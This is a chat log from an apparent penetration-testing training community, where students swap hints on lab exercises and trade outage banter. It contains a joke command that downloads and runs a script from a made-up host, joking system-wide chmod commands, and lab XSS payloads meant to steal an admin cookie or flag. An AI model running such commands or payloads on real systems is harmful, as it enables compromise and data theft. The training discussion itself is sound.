modules

[trail leaf]

Section was added recently so it is what it is. Can't blame them for wanting to put some element of reversing in there, but execution could have been cleaner 🤷‍♂️

[final maple]

Will reversing be on the exam? It seems odd that they added a new topic after the exam was already created.

[trail leaf]

Everyone who has passed it says that whatever is in the modules can show up on the exam, that said, it's a recent addition, so probably less likely. You can never 100% count it out though.

Worst comes to worst, you search ".net binary reversing ippsec/0xdf" and find some walkthrough that they did and follow the steps, they probably wouldn't design any thick clients or binaries that are overly complex, since that's not really what the exam is for

Take anything I say with a grain of salt- all I know is what I read in Discord, I haven't taken the exam

[final maple]

I wish they taught more fundamentals on RE if they are going to include it. I feel like all I would learn from this module is how to pass this particular module.

[final maple]

I found the video from ippsec.rocks...will definitely be going through it tomorrow.

[vital adder]

that section is a 1 on 1 copy of the Fatty box official writeup

the ippsec video on that box is great for debugging but i used 0xdf writeup for this (more quick and easy)

[final maple]

I saw something mentioned about Fatty on the VM...so, I should just look up the Fatty box official writeup...okay, awesome, because I don't know how i would get past this on my own

[trail leaf]

Thick Client is Fatty, the other one is PivotAPI

They merged two boxes

[final maple]

I love how they include material from an Insane level box as if we are all supposed to get it...In my experience so far, it feels like lots of InfoSec training companies assume their students already know as much as the teachers

[vital adder]

so far i think this is the only section that done this so you should be good for the other modules

[final maple]

I see, since there are two modules under the attacking thick clients sub-section...you and @vital adder are life savers!

[final maple]

After the AD modules, for the most part everything has been smooth sailing, except for these thick client modules

[vital adder]

also in my opinion the main reason this section sucks ass is because the goal of the box is to get RCE but the goal of this section is only getting admin in the client but the section still show the whole process from start to getting RCE which is confusing

[vital adder]

yea this channel get that a lot 🤣

[final maple]

So for "Attacking Thick Client Applications" I should be looking at the Fatty writeup and for "Exploiting Web Vulnerabilities in Thick-Client Applications" I should look at the PivotAPI writeup?

[vital adder]

the Restart-OracleService.exe binary on Attacking Thick Client Applications is from the PivotAPI box and the fatty-client.jar file on Exploiting Web Vulnerabilities in Thick-Client Applications is from the Fatty box

[final maple]

Okay, that makes sense because the ippsec video seemed to be on the Restart-OracleService.exe

[trail leaf]

I like to see it as making the stuff in Insane boxes not seem as insane, but for people who have zero rev experience, the section is more confusing if anything

[hidden trellis]

Is it possible to dm someone about Whitebox Attacks "Remote Code Execution"

[rich perch]

Hello! I'm having troulbe on the Footprinting module. Sqlplus doesn't seem to exist on the Pwnbox, I keep getting command not found. I tried searching the system for the binary using find and it didn't find anything.

Do I have to install sqlplus myself?

[fathom pendant]

Yes just copy/paste the commands they give you into a bash script

[rich perch]

thank you!

[inner talon]

hello everyone. I've been stuck on Password Attack Hard Lab for a couple of days now. I was able to find david's credentials and download the .vhd file but I can't mount it or even decrypt it. Would anyone be so kind as to give me a hint?

[dawn parrot]

@inner talon mount the file in windows
and as of decrypting the .vhd file the answer is somewhere in protected archives module

[inner talon]

Thanks 🫶

Okay, I think I'm a little stupid. I used a wrong tool , darn me.

[vital adder]

#modules message

[teal breach]

hello everyone, i've been stuck on Password Attack for Password mutations
"Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam". Once successful, log in with SSH and submit the contents of the flag.txt file as your answer. "

i already try to use hydra, but i couldn't get anything
i also have created the custom rule like a become 4, etc
can anyone help me ? thankyou and have a nice day 🥰

[fathom pendant]

Attack a different service from ssh

[fathom pendant]

Also use the custom.rules from the resources file

Do not create your own rules

The correct mutated list is ~95k lines

[teal breach]

ah i see.. thankyou for your help 😅

i thought i need to create by myself

[tribal sonnet]

Sqlplus is supported by oracle that you can enteract with oracle database from console , go to YouTube videos and find one , help you to install it :]

[iron plaza]

I am having a bit of a technical issue with the Windows Privilege Escalation module ... I am at the Citrix Breakout but the machine is so slow that either it times out or just lags a lot that I have to wait eternity to type one letter ... Is there a tech issue with HTB now?

[sinful falcon]

I'm doing windows privesc module and citrix breakout section. Why i'm stuck here ?

[iron plaza]

at least you got there ... i am unable to login due to how slow the system is

[sinful falcon]

Try to change vpn server

[iron plaza]

will try that and see

thanks

[rustic sage]

is htb working for you?

[tribal sonnet]

Hi guys , i need to best plan subscribe within HTB academy to open modules <°

[sinful falcon]

No

[arctic condor]

Same here

[undone narwhal]

You are suppose to paste the path in File Name Field

[vivid igloo]

yes

[sinful falcon]

Yes I did

[barren apex]

yep

down

[tribal sonnet]

Are you sure?!

[rustic sage]

yes

[arctic condor]

I was in module yeah think down

[vivid igloo]

[sly kelp]

Yes

[sinful falcon]

ah yes i'm tired

[rapid sparrow]

same lol

[sly kelp]

10000% sure

[primal eagle]

Is the website down

cuz it'

[rapid sparrow]

a random hecker hecked them

[primal eagle]

loading for a while

[sly kelp]

I just submitted the last flag and HTB is down

[rustic sage]

Neither htb is working

[rapid sparrow]

HTB pwned???

[primal eagle]

Same

[vivid igloo]

is it ddos

[sinful falcon]

breakthebox

[tribal sonnet]

May be change , and add some futures🥶

[primal eagle]

HTB pwned indeed

[tribal sonnet]

Hhhh

[primal eagle]

someone escalated from a box

leet hacker

[vivid igloo]

but its cloudflare domain

[sly kelp]

Who got the root flag

[tribal sonnet]

🙃

[primal eagle]

Root flag? You mean Domain-Admin!

[sly kelp]

Yeah Lol

[rustic sage]

It's Cloudflare 100%

[rapid sparrow]

cause I got my drug from Amsterdam

[mint linden]

Who's been Hacking HTB??? lol

[primal eagle]

Probably the russians again ffs

[tribal sonnet]

Ok , any one get access in htb add for all cubs free 😹

[primal eagle]

not even supporting our education

[barren apex]

just got to a coffee shop 10mis ago to try and do a few hours in peace

[primal eagle]

darn it

[sly kelp]

Definitely, It has become the Destroyer of Labs

[rustic sage]

some kali linux users probably

[vivid igloo]

tryhackme hacked them ig

[primal eagle]

Nothing wrong

[mint linden]

https://www.saashub.com/hack-the-box-status

[sly kelp]

They are not that good lol

[barren apex]

NL?

UK

[vivid igloo]

nice

[fathom pendant]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

Just submit tickets through the help portal

¯_(ツ)_/¯

[vivid igloo]

can i call this Social Engineering

[primal eagle]

I am from North Korea

[barren apex]

narrowed down to 70mil odd people 😉

[primal eagle]

i try to learn hacking for the government of korea

[vivid igloo]

Social Engineering *

[primal eagle]

North hihi*

jk im NL servers too

[fathom pendant]

Main site was fine

[vivid igloo]

why are they are not doing sudo systemctl * up

[primal eagle]

labs is probably too

ayea

[barren apex]

labs is down

[primal eagle]

No

not for me

academy is down

[sly kelp]

It is for me

Academy

Is down

Deep down

[rustic sage]

even the main page is down

[barren apex]

everything except support is down by the looks of it

[rustic sage]

no, it's working now

[steady cargo]

Yep, down for me too

[rustic sage]

no, it's not

[primal eagle]

No

[fathom pendant]

Just give it a few

[rustic sage]

jesus, I just want to go back to hell (htb modules) I want to get that damm flag

[steady cargo]

Ok, it just loaded 😄

[vivid igloo]

WE NEED IT BACK UP YO NO CAP

[barren apex]

back up for me

[rustic sage]

it works

[vivid igloo]

same

[rapid sparrow]

it worked...

[rustic sage]

yay, time to suffer again. It was a pleasure guys

[primal eagle]

anyway...

[barren apex]

and in all that time my target still didnt spawn....

[rustic sage]

kali linux user

[primal eagle]

Ah you are also at the password module

I got the creds for the LSASS module, but then it shut down

[plain coral]

Lol I did the exact same thing

[primal eagle]

noob

anyway

Session Control

#Tools/tmux/session-control
Create a new session:
tmux new -s <name>

Search through history:
Ctrl + d, [ + hjkl for looking through.
And the use of: Page up and Down
copying can be done with SPACE and ENTER
paste this with: Ctrl, d ]

Create a new Window(session):
Ctrl + d, c and Ctrl + d, ',' to rename it.

Switching sessions:
Ctrl + d, <1-9/0> the number of the session.

Nested sessions:
tmux ls show all sessions.
tmux attach -t <session attach the session

Detach a session:
Ctrl + d, d

Join windows/sessions:
Ctrl + d, s + <session-id>

Output history in a log file:
Ctrl + d, alt + shift + P

Show all Tmux bindings:
Ctrl + d, ?

Start a timer:
Ctrl + d, t

Splitting Stuff

#Tools/tmux/splitting-stuff
Horizontal split:
Ctrl + d, "
Vertical split:
Ctrl + d, %

Move splitted sessions:
Ctrl + d, <arrows>

Zoom session:
Ctrl + d, z

Move windows:
Ctrl + d, } to the right
Ctrl + d, { to the left

Change layout looks:
Ctrl + d, space

Terminal Tricks

#Tools/tmux/terminal-tricks
Cycle through history:
Alt + .

Shortcuts:
Ctrl + a begin line
Ctrl + e end line
Ctrl + arrow word by word
Ctrl + D Exit
Ctrl + L Clear

some tmux notes

learn it in the mean time

[fathom pendant]

Nice but who cares

[primal eagle]

😦

[vivid igloo]

[primal eagle]

ok want vim notes?

[rapid sparrow]

I prefer nano

[primal eagle]

jeeeeeeeeeeez

noobs. not even a power user

[barren apex]

only pro hackers use vim

[primal eagle]

atleast im glad no one uses emacs

[rapid sparrow]

I use Microsoft Word as my IDE

[barren apex]

have to have OSCP to be able to close that thing

[primal eagle]

:q

im oscp certified now

vim has a lesson binary if you install vim

vimtutor

i think

[mint linden]

It's back

[west night]

Hi @fathom pendant. Regarding the question in Attacking Common Services easy lab "You are targeting the inlanefreight.htb domain. Assess the target server and obtain the contents of the flag.txt file. Submit it as the answer." I tried the following:

1. Used the smtp-user-enum tool and found a username starting with f.
2. found what appeared to be default credentials, first tried to login with them using mysql but was not successful an error appeared citing that the password field was empty.
3. tried brute forcing each username found with the password list provided in the resources section on the ftp and mysql ports but this was also unsuccessful.

I saw the mysql reverse shell discussion and correctly if I am wrong. I need to be authenticated before attempting this? or does it work straight from the url bar? Any hints would be appreciated 🙂

[primal eagle]

nice. goodbye everyone again

[barren apex]

if you have Fs creds, maybe retry step 2?

[vivid igloo]

What Hashing protocol is capable of symmetric and asymmetric cryptography? isnt it TLS/SSL ?

[primal eagle]

Hashing protocol?

[vivid igloo]

yah

[primal eagle]

hashing is one way

not symmetric or asymmetric

[vivid igloo]

symmetric and asymmetric encryption,

[primal eagle]

so i dont think that's a hashing protocol

[west night]

Only have the username of f,that is part of the problem tried brute forcing on mysql but after a certain amount of tries it times out.

[barren apex]

if you have the username can you try bruteforcing this?

DM me if you want I done this one on like monday

[rustic sage]

yay got the flag

Another step closer to active directory module

[pulsar needle]

So I tried to crack the AES hash but I cant. Then I logged into SMB using the ticket, but I am supposed to login to SSH, help lol

[vital adder]

which module and section are you on?

[pulsar needle]

Password attacks - Pass the Ticket (PtT) from Linux

[vital adder]

question 5? hint wrong file

[pulsar needle]

QUestion 5

yeah

What

Ok

[fathom pendant]

What question is that again?

[vivid igloo]

htb down again ?

[arctic condor]

yup

[barren apex]

yep

[vivid igloo]

wth

ayo btw What group type is best utilized for assigning permissions and right to users?

isn't it SG

[barren apex]

about to punch my screen as my proxy wasnt working then i refreshed the page

[vivid igloo]

or Role-Based Access Control

[barren apex]

RBAC i think? Using theories such as just in time?

[vivid igloo]

idk d*ck this AD i hate it

[rustic sage]

not again

come on

[barren apex]

or just 777 the entire drive 😉

[vivid igloo]

[pine dagger]

https://tenor.com/view/no-family-guy-bad-dog-newspaper-peter-gif-9587434

[vivid igloo]

god have mercy

[barren apex]

might as well add a suid while your at it

[vivid igloo]

do anyone know the cause like whats going on

[rustic sage]

never forget to chmod o+x

[vivid igloo]

why its down 2x

[barren apex]

sudo chmod / 4777

[vivid igloo]

chmod -R u+rwx /

[rustic sage]

beautiful

[barren apex]

backup

[rustic sage]

works again

[vivid igloo]

curlhttp://elonmuskmilscheme/ > mal.py && chmod +x ./mal.py && ./mal.py

[barren apex]

can anyone see why this isnt working?
The pivot host is available but rdesktop isnt connecting to the port forward?

tried 2 different ports to connect to

[proud pine]

Listen IP doesn't match your connect IP.

[barren apex]

isnt the listen host the attacking machine?

[proud pine]

The listen address is the IP interface to listen on

[barren apex]

right yep that works, cheers
thought that was what IP its looking for the incoming connection,
thanks

[proud pine]

[pulsar needle]

Pass the Ticket (PtT) from Linux - The only keytab ive found is ||/home/[e-mail]/.scripts/svc_workstations.kt ||

And apparently thats not the one i am supposed to use

Ive tried ||find / -name *keytab -ls 2>/dev/null||

And I also found these, but I cant use any of them

[barren apex]

if i remember right you can only see keytabs as the user that created them unless root

[barren apex]

have you tried responder?

[pulsar needle]

I dont see how that would help

Ive found one hash

But I cant use it

WIAT

Lmao

I am stupid

No

[stray brook]

hi all, i'm in the module http attacks and i'm stuck in the section HTTP Response Splitting

[barren apex]

pretty sure you when you connect to repsonder it can dump the svc hash, but as you got it try pth or cracking it

[pulsar needle]

I was thinking about doing pass the hash, but I cant cuz I am supposed to login with SSH

[stray brook]

someone could give me a tip, if possible?

[pulsar needle]

I tried crackinbg it

Didnt work

Aaaa

Wait

[fiery berry]

did you see what there may be in that "folder"?

[pulsar needle]

I need to use the provided password list

AAaa

Wait

No

[pulsar needle]

I didnt

Lol

[vivid igloo]

DOWN AGAIN ?

[steady cargo]

[tribal plinth]

You've to add UNC path at the bottom under 'File name' tag

[haughty stirrup]

ok its not just me

htb slow

[vivid igloo]

[haughty stirrup]

[vivid igloo]

!

[primal eagle]

And it's down again

damn it

[vivid igloo]

their domain is acticing weird "academy.hackthebox.com"

[haughty stirrup]

[rich perch]

I got it. Thank you dude!

[tribal sonnet]

Welcome...

[pulsar needle]

uhm

Is HTB dead?

Like the website

[tribal sonnet]

May add some futures ,and then return

[pulsar needle]

features?

[swift seal]

I believe so, I cannot access it either

[analog cliff]

Yeah it died

[swift seal]

but the status website says it's operational: https://status.hackthebox.com/

[pulsar needle]

It probably happend just now

[analog cliff]

probably not updated the status yet

[trail depot]

it's very slow

[swift seal]

😭

[tribal sonnet]

Any one from htb team here ?!

[analog cliff]

looks like it came back, I can browse it again

[swift seal]

can confirm

[tribal sonnet]

The site is work full , without any error 😕

[rustic sage]

Hello

[broken warren]

Im having trouble in the documentation and reporting module, I grabbed the git repo for the tmux plugins and i copied the .tmux.conf file to the right location and gave everything rwx permissions. But when i try to load my plugins i get "/home/kali/.tmux/plugins// is not writable!" Has anyone else had this problem and found a solution? Alternatively, is there something better than tmux for logging terminal sessions?

[broken warren]

UPDATE i ran 'sudo chown -R kali:kali /home/kali/.tmux/plugins/' which fixed it i guess, probably not the best way but its a way?

[fiery berry]

"Alternatively, is there something better than tmux for logging terminal sessions?". I'm not sure this is what you're looking for but have a look at script

[inner talon]

Sorry, can you please tell me what wordlist you used to brute force on the vhd hash? the ones I tried didn't work

[acoustic owl]

The module provides lists. Try either this list or the list you have customized in the module

[vivid igloo]

DOWN AGAIN

[acoustic owl]

https://tenor.com/view/office-server-power-lady-unplug-gif-8220789

[elfin coral]

down for me

[gloomy bramble]

You are talking about the HTB site? just tried to get in too.

[vivid igloo]

SOMEONE GOT THE ROOT SHELL THATS WHATS GOING ON

[gloomy bramble]

RIP

[wise flare]

Hello guys, I'm blocked on the module "ATTACKING WEB APPLICATIONS WITH FFUF", skill assessment at the question "One of the pages you will identify should say 'You don't have access!'. What is the full page URL?".
I got the right page (with the 'You don't have access!' message) but I can't validate it.
Is the format http://domain.domain.htb/path/to/file.ext right for the answer ?

[hardy mural]

Is it down?

[wise flare]

the academy.hackthebox.com site ? No, it return that I do not have the right answer when I try to validate

[rustic sage]

@wise flare no, it's not like that

[hardy mural]

The instance and the target

[wise flare]

The instance no and the pwnbox, I use my own VM

[rustic sage]

@wise flare do you have "Before you run your page fuzzing scan, you should first run an extension fuzzing scan. What are the different extensions accepted by the domains" ?

it's important

[wise flare]

I got the right extension (i think)

I retry

[rustic sage]

yep, one little help

it's one that's different

and unique from the other two

and the format it's http://xxxxx.academy.htb:PORT/xxxxxxx ..etc. the hint they give you

[stray brook]

Hi all

someone could help me with the section HTTP Response Splitting ?

i'm stuck in this question : Try to use what you learned in this section to steal the admin user's cookie via XSS.

I have encoded multiple times the special characters to bypass the firewall, but nothing

the idea is pass this GET /?admin=/?target=http://10.10.14.x:9000/script.js HTTP/1.1 to the admin, and when the admin access it will access my xss that will stole his cookie

but there a firewall that a need to bypass, the hits is:

hint:
Hint

Certain special characters need to be URL encoded multiple times. There is a firewall in place that prevents the admin user from accessing any external endpoints!

[wise flare]

Ok.... I needed to replace the port by "PORT" ....

Ty

[rustic sage]

no, just use the port they give you

[wise flare]

I replaced and the answer got accepted but with my port, no

weird

[rustic sage]

btw, that will take a while

you can curl o just go the webpages

did you know that the OSI model has 7 layers? @wise flare

you understand

[wise flare]

yes

?

[wise flare]

(replaced to validate the answer on academy.hackthebox.com)

[rustic sage]

I'm the only that have this error?

no

i have the same problem

Oh okay, thx

[fresh pine]

Does anybody know how to solve this problem in "Attacking Coldfusion" in Attacking Common Applications?

It doesn't get the shell, it keeps listening... (parameters should be fine)

[sacred ermine]

)

[mint linden]

What are people's preference for O/S's Kali or Parrot???

[pulsar needle]

Kali

By a mile

lol

(Personally)

[mint linden]

I have both but finding I need to install more on Parrot and even can't install some things on Parrot

[pulsar needle]

For that exact reason I like kali more

[uncut flint]

KALI

[pulsar needle]

I dont take notes of the execises I do, do I have to recrack the password, if I remember correctly it will take me 30 minutes and aaaaaa

[tranquil axle]

Did you not submit the pw in the previous section?

[pulsar needle]

No

I submitted a flag, but I had to get the password to get the flag

Ok

Recracked it

it was faster than i remember

lol

[west night]

I use Kali and I am satisfied with it. Never used Parrot before so have no opinion on it.

[primal drift]

Can someone tell me, how long there will be promo for silver annual -100 eur?
Cuz I have rent 10 semteber

[fresh pine]

Idk what happens the commands dont work for me 💀 🥲 in "Ataccking SQL Databases"

[trail leaf]

That first SQL command should return a list of users you're able to impersonate. Since it doesn't return anything, you can't impersonate anyone.

[fresh pine]

@trail leaf that's the problem right there, in the exercise they guide you based on that and asking other people on the community thats the way to go. So why isnt it working for me 😭

[elfin cedar]

What does this mean?

We can view which privileges we have using the SHOW GRANTS command be discussed later.

[acoustic owl]

https://dev.mysql.com/doc/refman/8.0/en/show-grants.html

[elfin cedar]

but that sentence does not make any sense

"command be discussed later."

[rustic sage]

Somone can help me? I tried with all the subdomains wordlist

[acoustic owl]

You need to find all zones

[rustic sage]

ah..

thx hahhahah

[acoustic owl]

I think the sentence means that this command will be discussed later.

[acoustic owl]

What exactly have you tried?

[rustic sage]

All the wordlist in SecList/DNS with the inlanefreight.htb domain

[tight mesa]

hello anyone can have an idea what could be happening here:

╭─linux@samsung in ~/Documents/HTB/Academy/PasswordAttack ╰$ cat ssh.hash id_rsa:$sshng$1$16$F1C2E21F3CF7BDF460FB56C7D16911F2$1776$b2a5e7a6de9f3785208b9e39086c8f5a07...SNIP....89b922aafeba78ad22cd50bf9252a04941166e2039d55dc8a4a9268d5930d4 ╭─linux@samsung in ~/Documents/HTB/Academy/PasswordAttack ╰$ john --wordlist=rockyou.txt ssh.hash No password hashes loaded (see FAQ)

[trail leaf]

I genuinely don’t remember using the impersonate stuff there specifically, and based on the answers I have written down, you don’t need that for the exercise

That said, they probably should have a user you can impersonate just for practice

[acoustic owl]

Why?
This zone allows a zone transfer. It gives you all the data voluntarily.

[rustic sage]

ohu shit, true. I'm so dump

[paper gust]

your john may be out of date or the key you are attacking may be unsupported, though you'd see a message if recognized and unsupported

add --format=SSH to your command maybe and see if that changes the behavior

[tight mesa]

ok., ty I'm gonna try it

[pastel pewter]

hey guys can i ask you

i bought academy gift card and i want to buy platinum subscription with that money how can i do that

anyone !!

[cobalt iris]

I have used both, parrot is much more stable on older hardware. I can do evil twin using my integrated wireless adapter that wasn't possible on kali

[pastel pewter]

can someone answer me

[cobalt iris]

currently using kali on my PC and Parrot on laptop

[fresh pine]

Can anybody guide me in the right direction? In the "Attacking Common Services - Easy" I can't get a valid user name when I try the usernames.list provided, and then when i try a list from Seclist i get a lot of "valid users" that don't work like "bob, public, demo...". Please if could would help i'd apreciate

[narrow solar]

good day friends, i am at SQLMap Essentials case 6, i spent hours without a hit, it says that col is not injectable and starts with other parameters, i tried with --level=5 ,--prefix='%27%29' and --prefix="')", any hint please

[tight mesa]

╭─gsbuosi@samsung in ~/Documents/HTB/Academy/PasswordAttack ╰$ john --format=SSH --wordlist=rockyou.txt ssh.hash Unknown ciphertext format name requested ╭─gsbuosi@samsung in ~/Documents/HTB/Academy/PasswordAttack ╰$ john --wordlist=rockyou.txt ssh.hash --format=SSH Unknown ciphertext format name requested

[paper gust]

Yeah, looks like your john is very out of date

or potentially it was built with limited environment?

[tight mesa]

how can I know if that is true?, and how can update it?

[paper gust]

either grab binaries from the openwall website or build from the repo?

[tight mesa]

yesterday at night I did this:

git clone https://github.com/openwall/john -b bleeding-jumbo john
cd john/src/
./configure
make -s clean && make -sj4

[paper gust]

yeah, looks like you built in a limited environment then

[fresh pine]

not the right place #job-postings

[paper gust]

when you ran ./configure it should have showed features that were enabled/disabled based on your environment

[tight mesa]

ok., how can I fix it?

[paper gust]

you need to resolve those environmental issues

[tight mesa]

holy moly ....

[tight mesa]

can I DM to not make noise here?

[paper gust]

actually it might be good to do here in case someone else has the same issue

that way they can search for the answer

[tight mesa]

ok., got it

when you mean, environment issues, are you meaning this:

Configured for building John the Ripper jumbo:

Target CPU ......................................... x86_64 AVX, 64-bit LE
AES-NI support ..................................... run-time detection
Target OS .......................................... linux-gnu
Cross compiling .................................... no
Legacy arch header ................................. x86-64.h

Optional libraries/features found:
Memory map (share/page large files) ................ yes
Fork support ....................................... yes
OpenMP support ..................................... yes (not for fast formats)
OpenCL support ..................................... no
Generic crypt(3) format ............................ yes
OpenSSL (many additional formats) .................. yes
libgmp (PRINCE mode and faster SRP formats) ........ yes
128-bit integer (faster PRINCE mode) ............... yes
libz (7z, pkzip and some other formats) ............ yes
libbz2 (7z and gpg2john bz2 support) ............... yes
libpcap (vncpcap2john and SIPdump) ................. yes
Non-free unrar code (complete RAR support) ......... yes
librexgen (regex mode, see doc/README.librexgen) ... no
OpenMPI support (default disabled) ................. no
Experimental code (default disabled) ............... no
ZTEX USB-FPGA module 1.15y support ................. no

Install missing libraries to get any needed features that were omitted.

Configure finished. Now "make -s clean && make -sj4" to compile.

[paper gust]

Install missing libraries to get any needed features that were omitted.

yes, that would be part of it

however it does look like you have OpenSSL which is the dependency i would have expected for the SSH format

so perhaps that format is in experimental still

though i wouldnt expect it to be

[tight mesa]

ok., my main concern is how I Install missing libraries to get any needed features that were omitted.

[paper gust]

from there, i would make clean, and make again

and see if the format is present after

also, looking back at your commands

[violet tundra]

Just finished Password Attacks:

• Very interesting course that introduces a lot of AD concepts, alongside passwords
• I felt like the course was much more difficult than the skill assessments

https://academy.hackthebox.com/achievement/737/147

[paper gust]

you ran john from an installed path

and you compiled john to a local binary

so you are probably running some ancient installed version of john that is different from the locally compiled binary

which will cause even more confusion/conflicts here

[elfin coral]

when creating a reverse shell with the pwnbox, what IP do I have to put in the script? I used hostname -i to get 127.0.1.1 so a localhost IP and the reverse shell did not work

module is Getting Started - Nibbles - Initial Foothold

[short hare]

Use tun0 ip

[violet tundra]

ip a, see tun0 (your vpn interface IP)

[elfin coral]

thanks

[barren hawk]

Hi someone have problmes with first asset in ABUSING HTTP MISCONFIGURATIONS? I tried diffrent payloads like:

<script>window.location.href = 'http://94.237.48.48:39725/index.php?language=pepe&content=test';</script>
<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://94.237.48.48:39725/admin.php?reveal_flag=1', true);xhr.withCredentials = true;xhr.send();window.location.href = 'http://94.237.48.48:39725/index.php?language=pepe&content=test' + encodeURIComponent(xhr.responseText);</script>

But doesn't work

I have been able to verify that even the admin does not enter in http://94.237.48.48:39725/index.php?language=de

[elfin cedar]

why is the SQL Operators section AFTER this question? https://academy.hackthebox.com/module/33/section/191

😭

[twilit field]

Hey!
I wonder if someone can help me. I’m looking at the IPMI section of the Footprinting module.
In the output from nmap, how can one identify if anonymous authentication is enabled?
Would it be under:
PassAuth: anonymous_user
Or under UserAuth?

If it says “UserAuth: null” what does that mean?

Similar to this:

[vital quiver]

every time i dump hashes and see "mrb3n" account hash, the urge to push challenge through my 🥜 cracker 🤣

[barren apex]

RDP and SOCKS Tunneling with SocksOverRDP

I have loaded the dll and turned off windows defender. why am i getting this error??

[fathom pendant]

As has been answered COUNTLESS times in this channel: there is another protection service that runs in real-time

[barren apex]

Not poweshell RealTimeMonitoring?

[fathom pendant]

Real-Time-Protection

[barren apex]

Yes I had already turned real time protection off and Set-MpPreference

[fathom pendant]

More specifically (just to be sure) which system are you trying to access, and which are you on?

There are 3 systems, you have creds for all

Foothold, jump(1), target

[barren apex]

oh is there a jump between the foothold and target?

[fathom pendant]

Yes

Follow the section

[barren apex]

right got it, was getting confused

cheers

was trying to go pivot > target, but i get what its asking now

[fathom pendant]

After that it's pretty straightforward

[barren apex]

cheers

[languid juniper]

Hey folks, looking for some help on the Footprinting Lab - easy

I am able to ftp in to the proxy 2121 and see the hidden files and folders using ls -a

also changed the permissions to for read write and execute

but I am unable to download them to my parrot vm

[fathom pendant]

Check the permissions for the folder you're downloading to

[languid juniper]

https://drive.google.com/file/d/1XgvFfjziUl0o_szyn8fC083poERe1VeI/view?usp=sharing

the permissions for .ssh are all read write execute

[fathom pendant]

What is that drive link

[languid juniper]

trying to share a snip of my screen

[fathom pendant]

Just verify your main htb account following instructions in #welcome

[languid juniper]

Thats better, thank you

I try downloading using get and mget

nada

what dumb step am I missing here?

[fathom pendant]

What directory are you launching ftp from? Is it a restricted directory like root?

[thorn urchin]

yeah the error is telling you its from the local side

[languid juniper]

Doh

I’ll try it when I get back, not enough sleep

Thank you!

[gloomy bramble]

ok, how was attacking common services -medium easier than easy? Rhetorical question, but if there is actually a narrative to this, be interesting to hear.

[sleek urchin]

Doing Abusing HTTP Misconfigurations: Password Reset Poisoning { https://academy.hackthebox.com/module/189/section/2014 } , and after forwarding the request the interactsh.local i am able to see Override Headers such as : X-Forwarded-Host X-Forwarded-For X-Forwarded-Server and the hint points me toward utilizing them

and i just don't know how to do so, and I have tried couple of things with no success

any help is well appreciated !!

[fathom pendant]

Because easy puts you in the mindset of where you need to be

[thorn urchin]

nah theyre just flipped for some reason

[fathom pendant]

I mean

Most easy/med labs seem flipped

If we're gonna break it down lol

[upbeat dragon]

Hi Guys! Im having issues with "Pass the Ticket (PtT) from Windows" on the very first question i cant connect via RDP to the IP assigned with provided credentials, I did reset the IP multiple times but no luck :S how can I get help to solve it?

[gloomy bramble]

Either way it made me do a lot of research and learned many new things.

[upbeat dragon]

Solved

[fathom stump]

I'm working on Footprinting/SMTP

I'm struggling to get nmap to accept more than one argument for scripts.
||nmap --script smtp-enum-users --script-args userdb=/home/users.lst,smtp-enum-users.methods={vrfy} 10.129.253.190 ||

It seems to recognize that there are two arguments, but it only ever uses one of them.

I resorted to going over the list manually to finish the exercise 😦

[languid juniper]

For the smtp footprinting I only needed one script

smtp-enum-users

[fathom stump]

I'm only using one. But two arguments

[wintry jolt]

hello guys, I'm using mac m1 chip now i want install kali Linux in my host. is there any way to install arm kali in my host machine.
i tried to install arm in utm but it was not installed

[languid juniper]

--script-args smtp-enum-users.methods={VRFY}

I believe that is the only arg you need

[fathom stump]

What about the user list? The correct username isn't in the default list

It's supplied in a file as part of the exercise

[languid juniper]

sudo nmap -p25 --script smtp-user-enum -M VRFY -U /usr/share/dirb/wordlists/big.txt -t 10.129.42.195 -v

It isnt that wordlist from memory

I have this in my notes trying to remember how I solved it

but I believe the syntax is similar to the above

[fathom stump]

Interesting. That is not the syntax I found on nmap.org

https://nmap.org/book/man-nse.html

Shows the syntax. Maybe I need quotes around everything

But in the image I sent, it appears to recognize both of them, so I don't know what I'm doing wrong, really.

[languid juniper]

I just checked; you want to use this wordlist

/usr/share/dirb/wordlists/big.txt

if you figure out the syntex you got is

[fathom stump]

The word list is supplied in the exercise

[languid juniper]

sure it is 🙂

[fathom stump]

I've already done it manually for the answer, I just want to figure out how to get it working.

[fathom stump]

It is. It's the resources file for that module. The hint even tells you to use it.

[languid juniper]

I had to run it with the big.txt wordlist anf finally got it

[fathom stump]

But I can't get nmap to use the vrfy method and the list at the same time which annoys me

[fathom pendant]

You can just use smtp-user-enum.py

BTW

Script arging in Nmap is just a needless pain

[languid juniper]

smtp-user-enum -M VRFY -U users.txt -t 10.0.0.1

[fathom pendant]

[languid juniper]

It that what we are looking for, I did this last week just took horrible notes

[fathom pendant]

That's what I recall doing

[fathom stump]

Where did you find -M -U as being usable?

[fathom pendant]

I believe I managed to get Nmap to work after several hours of trial and error. Which felt pointless

[fathom pendant]

-M == method
-U == {username.list}

[fathom stump]

I get that. Not what I'm asking

That syntax isn't on nmap.org

How did you find it / where can I see it?

[fathom pendant]

We are talking about the actual smtp-user-enum.py

not the Nmap script

[fathom stump]

Oh, I don't know what/where that is either

I was using the nmap scripting engine

[fathom pendant]

It should be installed and be in your default path just Start typing smtp-user- and hit tab

[fathom stump]

Interesting I'll look into it

Would still like to figure out nse though

[hardy anchor]

Hey did you solve it? Can I DM you?

[civic zenith]

I have admin rights via CMD prompt and PS. How can I check the NTLM hash of a certain user?

[devout spruce]

@cunning obsidian dms?

[hardy anchor]

mimikatz?

[civic zenith]

i am having trouble copying it to the target windows machine

I already used scp to put it on the linux attack host

[tight mesa]

anyone known why the ssh to the target box from the pwnbox is so unstable?, every time that I establish a ssh session and try to setup a python web server is frozen, unfortunately I can't crack the hashes with my Linux machine and I'm using the HTB pwnbox but it's driving me nuts.....

[hardy anchor]

I'm trying to get the clear text pwd for a user with the reversible encryption enabled

[lone hamlet]

Hi All,

Hope some one can help me in "Shells & payloads - The live engagement - host #1"

After RDP to the Foothold system, I can't see any browser application in Parrot OS. Kindly let me know if this is expected.

[fathom pendant]

Type firefox in terminal

[rustic sage]

@lone hamlet you have to rdp the ip that they give you, and then you can start atacking from that machine

@lone hamlet the ip's that you must atack are in the Target Hosts image

@lone hamlet and don't forget the hints, they're very important

[candid ocean]

In the web attacks module, Local File Disclosure.
Attempting to read the connection.php file
It looks to me that the expect command is disabled becuase I cannot even do basic commands like id or whoami.
Where the hint suggest to use PHP filters - which suggest if you obfuscate the command it should work, but I cannot et anything going in my favor.
